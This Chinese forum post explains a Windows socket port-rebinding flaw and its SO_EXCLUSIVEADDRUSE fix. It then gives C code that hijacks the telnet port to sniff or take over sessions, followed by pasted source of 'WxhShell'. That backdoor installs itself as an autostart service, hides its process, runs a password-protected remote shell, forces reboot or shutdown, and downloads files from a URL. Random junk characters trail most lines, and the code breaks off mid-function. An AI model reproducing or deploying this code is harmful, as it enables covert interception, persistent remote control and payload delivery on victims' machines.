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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WH$e2[+Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sjM;s{gy  
w]_zp?\^ }  
  saddr.sin_family = AF_INET; -@F fU2  
(Si=m;g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p:OPw D+  
*1'`"D~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jV/CQM5a+  
>?]_<:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y?)}8T^  
enTW0U}  
  这意味着什么?意味着可以进行如下的攻击: 'i8 U  
T?p`)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `T2$4>!  
#$1og=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G|m1.=DJm  
{i*2R^5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m$LVCB  
#"ftI7=42  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MzYavg`  
9Q!b t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @O}7XRJ_8  
$f pq 3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z Dhx5SL&  
!~ZP{IXyo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m,R Dr  
S\wW)Pv8  
  #include PU {uE[  
  #include $2MAZGJV  
  #include a Zk&`Jpz  
  #include    Dw2Q 'E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \@~UDP]7  
  int main() 5 #]4YI;  
  { K?4FT$9G  
  WORD wVersionRequested; e/8z+H^H  
  DWORD ret; /U$8TT8+-  
  WSADATA wsaData; 45@]:2j  
  BOOL val; O3N_\B:  
  SOCKADDR_IN saddr; f7hXQ|$  
  SOCKADDR_IN scaddr; tQ~WEC  
  int err; B(DrY1ztj  
  SOCKET s; ;XC@ =RpX  
  SOCKET sc; U{ ;l0 2S  
  int caddsize; MDRe(rF=  
  HANDLE mt; m9md|yS  
  DWORD tid;   A K/z6XGy  
  wVersionRequested = MAKEWORD( 2, 2 ); Zw] ?.  
  err = WSAStartup( wVersionRequested, &wsaData ); XTeb9h)3  
  if ( err != 0 ) { =6=_/q2  
  printf("error!WSAStartup failed!\n"); zTD@  
  return -1; <8 #ObdY!  
  } xAwf49N~  
  saddr.sin_family = AF_INET; *fO{ a  
   6e25V4e?I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6S.~s6o,  
#*c F8NV-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [WB{T3j  
  saddr.sin_port = htons(23); 33~qgK1>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S)A'Y]2X  
  { 3|rn] yZ  
  printf("error!socket failed!\n"); (vJ2z =z  
  return -1; (shK  
  } ~"!a9GZ  
  val = TRUE; DP7C?}(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3P <'F2o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pGIe=Um0W  
  { [rreFSy#@  
  printf("error!setsockopt failed!\n"); JeY' 8B  
  return -1; }4nT.!5  
  } C2<CWPn<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AaN"7.Z/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ae?e 70bY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bQa oMZB  
 uu%?K@Qq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #^&jW  
  { WjM>kWv  
  ret=GetLastError(); \h3e-)  
  printf("error!bind failed!\n"); xq!IbVV/h  
  return -1; ~ E=\t9r  
  } -U>7 H`5  
  listen(s,2); l[/q%Ca'>  
  while(1) fw{,bJ(U  
  { d `j?7Z  
  caddsize = sizeof(scaddr); ,fnsE^}.U  
  //接受连接请求 RP(/x+V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ewB!IJxh  
  if(sc!=INVALID_SOCKET) %HSl)zEo>C  
  { T+RZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3SARr>HRyI  
  if(mt==NULL) `ycU-m==  
  { ~2/{3m{3A  
  printf("Thread Creat Failed!\n"); *+8%kn`c  
  break; i~&c|  
  } 16@);Ot  
  } w}M3x^9@  
  CloseHandle(mt); ^C9x.4I$)  
  } LxT rG)4  
  closesocket(s); aQcN&UA@  
  WSACleanup(); ggou*;'  
  return 0; !%mi&ak(Rn  
  }   9.0WKcwg  
  DWORD WINAPI ClientThread(LPVOID lpParam) =p&sl;PsLw  
  { 7CrpUh  
  SOCKET ss = (SOCKET)lpParam; o@d y:AR  
  SOCKET sc; H/+{e,SW"  
  unsigned char buf[4096]; E '%lxr  
  SOCKADDR_IN saddr; * Zd_ HJi  
  long num; CW:gEm+  
  DWORD val; 67J*&5? |  
  DWORD ret; w{'2q^>6*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D{AFL.r{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F@hYA  
  saddr.sin_family = AF_INET; z/1hqxHl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B4O6> '  
  saddr.sin_port = htons(23); C(]'&~}(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ):bu;3E  
  { JfTfAq]  
  printf("error!socket failed!\n"); _@E "7<\  
  return -1; G[q9A$yw  
  } 0RyFv+  
  val = 100; O3!d(dY=_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K&UE0JO'  
  { B <+K<,S  
  ret = GetLastError(); M}!A]@  
  return -1; 3c u9[~K  
  } .v,bXU$@YG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iMWW%@U^=  
  { ) p^  
  ret = GetLastError(); Z5>V{o  
  return -1; <F=Dj*]  
  } Lp~^*j(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xeB4r/6  
  { Igjr~@ #  
  printf("error!socket connect failed!\n"); Ky&KF0  
  closesocket(sc); >I-g[*  
  closesocket(ss); >38 Lt\  
  return -1;  C6)R#  
  } z{6 YC~  
  while(1) y~p4">]  
  { Dq`~XS*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <bdyAUeFw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BPWnck=%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z}[xQ5  
  num = recv(ss,buf,4096,0); J v<$*TVS0  
  if(num>0) l7Lj[d<n  
  send(sc,buf,num,0); >h[(w  
  else if(num==0) pb$fb  
  break; $WNG07]tU  
  num = recv(sc,buf,4096,0); m;h<"]<  
  if(num>0) dwp: iM  
  send(ss,buf,num,0); rB evVc![  
  else if(num==0) (b|#n|~?YL  
  break; d +xA:  
  } hb! ln7  
  closesocket(ss); C*O ,rm}  
  closesocket(sc); vfXJYw+6_  
  return 0 ; {{E jMBg{  
  } cDO:'-  
M;qb7Mu  
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========================================================== "=ElCaP}  
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下边附上一个代码,,WXhSHELL </yo9.  
RH=$h! 5  
========================================================== va>"#;37  
qsvpW%?aE  
#include "stdafx.h" OT+Ee  
=43d%N  
#include <stdio.h> A|C_np^z2  
#include <string.h> N<"`ShCNM  
#include <windows.h> %|jzEBz@  
#include <winsock2.h> <N5rv3 s  
#include <winsvc.h> Oc^m_U8>^  
#include <urlmon.h> SW;HjQ>V  
!3HsI| $<G  
#pragma comment (lib, "Ws2_32.lib") (0g7-Ci  
#pragma comment (lib, "urlmon.lib") j=Q$K #sBt  
od(:Y(4  
#define MAX_USER   100 // 最大客户端连接数 b=_{/F*b?  
#define BUF_SOCK   200 // sock buffer ?C~X@sq  
#define KEY_BUFF   255 // 输入 buffer #|ddyCg2  
xDLMPo&  
#define REBOOT     0   // 重启 SJOmeN}4)  
#define SHUTDOWN   1   // 关机 :K;T Q  
zS?n>ElI  
#define DEF_PORT   5000 // 监听端口 @%H8"A  
qM*S*,s  
#define REG_LEN     16   // 注册表键长度 CfY7<o1>  
#define SVC_LEN     80   // NT服务名长度 O8$~*NFJf  
U,38qKE  
// 从dll定义API KJ pj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y.9~Bo<<r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W CoF{ *  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HNFhH0+^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 77^ "xsa  
jjX%$Hr  
// wxhshell配置信息 ,{pGP#  
struct WSCFG { -+' #*V  
  int ws_port;         // 监听端口 a! ?.F_T9A  
  char ws_passstr[REG_LEN]; // 口令 K@*rVor{  
  int ws_autoins;       // 安装标记, 1=yes 0=no yFi6jN#~  
  char ws_regname[REG_LEN]; // 注册表键名 & L3UlL  
  char ws_svcname[REG_LEN]; // 服务名 t5n2eOy~T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [5!'ykZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &!6DC5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T|!D>l'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no . Jb?]n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2pjW,I!`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O!yakU+  
L=,Y1nO:p  
}; &:q[-K@!  
s{cKBau  
// default Wxhshell configuration ;*.(.  
struct WSCFG wscfg={DEF_PORT, w'|&5cS  
    "xuhuanlingzhe", N-D(y  
    1, ,b:n1  
    "Wxhshell", ^ ~, ndH{  
    "Wxhshell", BL0 |\&*1  
            "WxhShell Service", KCl &H  
    "Wrsky Windows CmdShell Service", xHm/^C&px  
    "Please Input Your Password: ", 0FTRm2(  
  1, 2q/nAQ+  
  "http://www.wrsky.com/wxhshell.exe", 90?,-6  
  "Wxhshell.exe" V8\$`NEP  
    }; m:b^,2"g  
z^gi[ mi  
// 消息定义模块 yS+ (<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,7t3>9 -M"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;FcExg|k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kAY@^vi  
char *msg_ws_ext="\n\rExit."; b#Jo Xa9  
char *msg_ws_end="\n\rQuit."; Ew>~a8! Fq  
char *msg_ws_boot="\n\rReboot..."; HRj7n<>L=  
char *msg_ws_poff="\n\rShutdown..."; WBy[m ?d  
char *msg_ws_down="\n\rSave to "; ;v%Q8  
R04.K !  
char *msg_ws_err="\n\rErr!"; .r7D )xNa@  
char *msg_ws_ok="\n\rOK!"; Q6eN+i2 ;  
ZU)BJ!L,s  
char ExeFile[MAX_PATH]; >1m)%zt  
int nUser = 0; xnT3^ #-h  
HANDLE handles[MAX_USER]; lD9%xCo9(  
int OsIsNt; 692Rw}/  
P$6W`^D Z  
SERVICE_STATUS       serviceStatus; ]c5DOv&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B'<!k7Ewy  
[ k!-;mi   
// 函数声明 +O&RBEa[  
int Install(void); `}[VwQ  
int Uninstall(void); 1 pa*T!  
int DownloadFile(char *sURL, SOCKET wsh); +g)_4fV0|  
int Boot(int flag); N&?T0Ge;  
void HideProc(void); lt{lHat1  
int GetOsVer(void); `i=JjgG@  
int Wxhshell(SOCKET wsl); ^GE^Q\&D&  
void TalkWithClient(void *cs); )\0Ug7]?  
int CmdShell(SOCKET sock); ^WmGo]<B_  
int StartFromService(void); @k_Jl>X  
int StartWxhshell(LPSTR lpCmdLine); ht2 f-EKf{  
Xg,0/P~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7WgIhQ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t'dHCp}  
#-}kG"  
// 数据结构和表定义 WC3W+v G7  
SERVICE_TABLE_ENTRY DispatchTable[] = eVZa6la"  
{ A<mj8qz  
{wscfg.ws_svcname, NTServiceMain}, U~oBNsU"  
{NULL, NULL} 1d/NZJ9  
}; @bc[ eas  
79 TPg  
// 自我安装 +.S#=  
int Install(void) wTB)v!  
{ a3Z :C!|O'  
  char svExeFile[MAX_PATH]; TNyK@~#m  
  HKEY key; f#'8"ff*1  
  strcpy(svExeFile,ExeFile); AGl|>f)  
:0WkxEY9  
// 如果是win9x系统,修改注册表设为自启动 v&p,Clt-2  
if(!OsIsNt) { kw 6cFz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C(EYM$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o lYPlH F  
  RegCloseKey(key); ;RNM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "kcpA#uD|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Ln;m8  
  RegCloseKey(key); `l+ >iM  
  return 0; FYp|oD2=1  
    } f<g>dQlE  
  } jK\V|5k  
} ? (fQ<i n  
else { o9_(DJ<{  
_Wm(/ +G_|  
// 如果是NT以上系统,安装为系统服务 ]|Ow_z8 O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BO?mQu~  
if (schSCManager!=0) - P\S>G.  
{  KYnW7|*  
  SC_HANDLE schService = CreateService fndK/~?]H  
  ( c_@XQ&DC`  
  schSCManager, hO^&0?  
  wscfg.ws_svcname, hZp=BM"bJ  
  wscfg.ws_svcdisp, Aqa6R+c  
  SERVICE_ALL_ACCESS, 'q{PtYr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H(X+.R,Thp  
  SERVICE_AUTO_START, /1IvLdPIu  
  SERVICE_ERROR_NORMAL, ,:v.L}+Z  
  svExeFile, qgwv=5|  
  NULL, "V*kOb&'*Z  
  NULL, 8|w5QvCU?3  
  NULL, ZmEG<T05  
  NULL, xP8iz?6"V  
  NULL pi^^L@@ d  
  ); [ED!J~lg8  
  if (schService!=0) W2}%zux  
  { 08zi/g2 3  
  CloseServiceHandle(schService); i!CKA}",  
  CloseServiceHandle(schSCManager); mgJShn8]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B0-4 ZT  
  strcat(svExeFile,wscfg.ws_svcname); ML=hKwCA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { di-O*ug  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Aivu%}_|  
  RegCloseKey(key); l84h%,  
  return 0; eNI kiJ$uS  
    } k)N2 +/  
  } <bEN8b  
  CloseServiceHandle(schSCManager); S 23S.]r  
} :'5G_4y)h  
} =giM@MV  
:SpG&\+  
return 1; Y&?|k'7  
} N,WI{*  
D< nlb-  
// 自我卸载 r4;5b s6wm  
int Uninstall(void) gGtep*k  
{ YH /S2D  
  HKEY key; 1Pud,!\%q  
qWRNHUd  
if(!OsIsNt) { %00k1 *$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { el <<D  
  RegDeleteValue(key,wscfg.ws_regname); fOqS|1rC  
  RegCloseKey(key); L LYHr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3v9gb,)y\  
  RegDeleteValue(key,wscfg.ws_regname); tb-OKZq  
  RegCloseKey(key); uB5h9&57  
  return 0; p{mxk)A  
  } qT4I Y$h  
} Z:\;R{D  
} ?;0nJf  
else { ?RgU6/2  
Bg+<*z-?e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y)?W-5zL  
if (schSCManager!=0) pRQ fx^ On  
{ !A'`uf4u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o9U0kI=W  
  if (schService!=0) GN htnB  
  { s`8M%ZLu  
  if(DeleteService(schService)!=0) { ka?IX9t\  
  CloseServiceHandle(schService); L Q I: ]d  
  CloseServiceHandle(schSCManager); xm%[}Dt]  
  return 0; TEaD-mY3  
  } ,W)IVc   
  CloseServiceHandle(schService); q|47;bK'  
  } xG*lV|<7>  
  CloseServiceHandle(schSCManager); ~pd1 )  
} %\(y8QV  
} {Y3_I\H8{  
&%f]-=~  
return 1; p|bc=`TD  
} ,<uiitOo  
Pe+ 8~0o=R  
// 从指定url下载文件 U/1[~429  
int DownloadFile(char *sURL, SOCKET wsh) b'Fx),  
{ (ybtXoQs  
  HRESULT hr; *j_fG$10g  
char seps[]= "/"; 2FZ 0c/[&  
char *token; [a>JG8[ ,t  
char *file; }}sRTW  
char myURL[MAX_PATH]; `}k&HRn  
char myFILE[MAX_PATH]; M `9orq<  
>D`fp  
strcpy(myURL,sURL); "Cyo<|  
  token=strtok(myURL,seps); 5{R#h :  
  while(token!=NULL) d I#8CO  
  { e' /  
    file=token; Z30z<d,j  
  token=strtok(NULL,seps); 5UrXVdP  
  } 5`{|[J_[  
?l\gh1{C  
GetCurrentDirectory(MAX_PATH,myFILE); %# Wg^l '  
strcat(myFILE, "\\"); .T#y N\S1  
strcat(myFILE, file); YA^wUx  
  send(wsh,myFILE,strlen(myFILE),0); 1c<CEq:?e%  
send(wsh,"...",3,0); %vf2||a$BS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v GR \GFm  
  if(hr==S_OK) 6mI_Q2  
return 0; |l6<GWG+  
else O]Ry3j  
return 1; Q !RVD*(  
}Ke}rM<  
} #FQm/Q<0  
4,w{rmj  
// 系统电源模块 .UT,lqEkv  
int Boot(int flag) i">z8?qF  
{ G!e}j @@  
  HANDLE hToken; DSDl[;3O{s  
  TOKEN_PRIVILEGES tkp; D<_,>{$gW  
}QWTPRn  
  if(OsIsNt) { RKo P6LGw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :{wsd$Qlj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0XQ".:+h  
    tkp.PrivilegeCount = 1; LRCS)UBY(.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zgq_0w~X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MUCJ/GF*  
if(flag==REBOOT) { v' 9(et  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c5=v`hv  
  return 0; !ulLGmUn  
} 5|6z1{g8  
else { ."!8B9 s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VJ6>3  
  return 0; YL9t3 ]  
} Lilk8|?#W  
  } 282+1X  
  else { +QXYU8bYZ  
if(flag==REBOOT) { os(Jr!p_=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w}U5dM`  
  return 0; (AM,4)lW,  
} .kB3jfw0,  
else { _} X`t8Lh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vHI"C %  
  return 0; Top#u  
} 9s\i(/RxW  
} XC$+ `?  
Y&05 *b"  
return 1; ](9{}DHV  
} G7/?hky 0.  
XftJ=  *  
// win9x进程隐藏模块 i"sYf9,  
void HideProc(void) N}l]Ilm$34  
{ S,"ChR  
OO !S w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S\v&{  
  if ( hKernel != NULL ) +4:+qGAJ{  
  { *(\;}JF-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ghgv RR$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t0asW5f  
    FreeLibrary(hKernel); t5jhpPVf  
  }  ,3@15j  
:E >n)_^  
return; 7>2j=Y_Kp  
} ,$6MM6W;-F  
JIY ^N9_  
// 获取操作系统版本 o$blPTN  
int GetOsVer(void) ,I2re G  
{ zFdz]z3  
  OSVERSIONINFO winfo; 3U9+l0mBa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B 1d%#  
  GetVersionEx(&winfo); !(ux.T0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >D p6@%  
  return 1; E? m#S  
  else ^zWO[$n}tP  
  return 0; C>\!'^u1  
} QnP?;  
2p3u6\y  
// 客户端句柄模块 Pu%>j'A  
int Wxhshell(SOCKET wsl) uDE91.pUkr  
{ +{Jf]"KD  
  SOCKET wsh; tls6rto  
  struct sockaddr_in client; "PX3%II  
  DWORD myID; 9Pob|UA  
!iitx U  
  while(nUser<MAX_USER) bF Y)o Z  
{ 7]. IT(  
  int nSize=sizeof(client); 3 ?|; on  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MY<!\4/  
  if(wsh==INVALID_SOCKET) return 1; AXU!-er$  
3R=3\;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |L_g/e1A3  
if(handles[nUser]==0) _[OEE<(  
  closesocket(wsh); ZvnZ}t >?  
else VrGb;L'[  
  nUser++; %`\3V {2*  
  } SKc T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9}qfdbI  
c7nk~K[6  
  return 0; G4exk5  
} v$Y1+Ep9  
lRATrp#T  
// 关闭 socket 8apKp?~yW  
void CloseIt(SOCKET wsh) @#--dOWYR  
{ 2wuW5H8w{  
closesocket(wsh); `1d`9AS2g  
nUser--; QWW7I.9r  
ExitThread(0); l6DIsR  
} =|5bhwU]  
RAuAIiQ  
// 客户端请求句柄 5wFS.!xD  
void TalkWithClient(void *cs) >*i8RqU  
{ 8.%a"sxr  
g d}TTe  
  SOCKET wsh=(SOCKET)cs; ]S2[eS  
  char pwd[SVC_LEN]; v/ 00L R  
  char cmd[KEY_BUFF]; o` 1V  
char chr[1]; m6Cd^'J9^  
int i,j; 10I`AjF0  
_BLSI8!N@  
  while (nUser < MAX_USER) { &Cpxo9-  
yJ`1},^  
if(wscfg.ws_passstr) { rRG\:<a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f!8m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f}ij=Y9  
  //ZeroMemory(pwd,KEY_BUFF); [#rdfN'?U  
      i=0; ~Ow23N  
  while(i<SVC_LEN) { "`gZ y)E  
U W)&Eky  
  // 设置超时 Hkz~9p  
  fd_set FdRead; GGQ(|?w  
  struct timeval TimeOut; lGHu@(n<  
  FD_ZERO(&FdRead); @P5@ &G  
  FD_SET(wsh,&FdRead); RqjDMN:  
  TimeOut.tv_sec=8; ~rJw$v  
  TimeOut.tv_usec=0; [tK:y[nk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1z@# 8_@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n6UU6t{  
x7kg_`\U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U <$xp  
  pwd=chr[0]; X%1.mTU~K  
  if(chr[0]==0xd || chr[0]==0xa) { wOkJ:k   
  pwd=0; 3pjYY$'  
  break; 0i(?LI_S  
  } i|{nj\6w^  
  i++; Fl3r!a!P,  
    } lJY=*KB(6  
4bi\$   
  // 如果是非法用户,关闭 socket Ollv _o3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z2q5f :d8  
} ^PR,TR.  
2bxMIr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q]%bd[zkz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m7eIhmP  
s /q5o@b{  
while(1) { 7b%Cl   
n:."ZBtY*  
  ZeroMemory(cmd,KEY_BUFF); Zt0%E <C{  
WB [G!'  
      // 自动支持客户端 telnet标准   % j{pz  
  j=0; |ylTy B  
  while(j<KEY_BUFF) { 4 Wd5Goe:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xt0j9{p  
  cmd[j]=chr[0]; 'nt,+`.y6  
  if(chr[0]==0xa || chr[0]==0xd) { NWN)b&}  
  cmd[j]=0; g*.(! !  
  break; rAw1g,&  
  } LVl0:!>~  
  j++; ?,DbV|3 _\  
    } X0QS/S-+  
24/~gft  
  // 下载文件 I/V#[KC  
  if(strstr(cmd,"http://")) { =>%%]0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ioCkPj  
  if(DownloadFile(cmd,wsh)) 0$ac1;7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oxXW`C<  
  else 0BE^qe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ByvqwJY  
  } Y[?Wt/O;  
  else { arL&^]JnZ,  
&+^ Y>Ke  
    switch(cmd[0]) { TN aff  
  #%tL8/K*  
  // 帮助 gc[J.[  
  case '?': { uCS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B4&pBiG&f6  
    break; 7]zZh a4X  
  } =u"|qD  
  // 安装 bXLa~r4\  
  case 'i': { yP]W\W'  
    if(Install()) T-i]O*u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J c^ozw  
    else m48Y1'4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 31Mc<4zI8  
    break; y'/9KrV T  
    } 6ng g*kE<  
  // 卸载 Lf M(DK  
  case 'r': { =JH,RQ *  
    if(Uninstall()) GFkte  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^BTNx2VHf  
    else @Qozud\?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O#Hz5 A5  
    break; @sO.g_yM  
    } ) <~7<.0  
  // 显示 wxhshell 所在路径 Kp;o?5H  
  case 'p': { .6#2i <oPW  
    char svExeFile[MAX_PATH]; H/{3 i  
    strcpy(svExeFile,"\n\r"); wuQkeWxJ  
      strcat(svExeFile,ExeFile); *.l=> #qF  
        send(wsh,svExeFile,strlen(svExeFile),0); 6I![5j  
    break; 4q8%!\A+  
    } vdzC2T  
  // 重启 5L#M7E  
  case 'b': { kICYPy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S3cQC`^  
    if(Boot(REBOOT)) ~zRd||qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I =pdjD  
    else { -H]O&u3'c  
    closesocket(wsh); M - TK  
    ExitThread(0); uGWk(qn  
    } =&GV\ju  
    break; i+3b)xtW7  
    } 3I(H.u  
  // 关机  sOmYQ{R  
  case 'd': { xw Qkk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~'iuh>O)  
    if(Boot(SHUTDOWN)) 0AenDm@9  
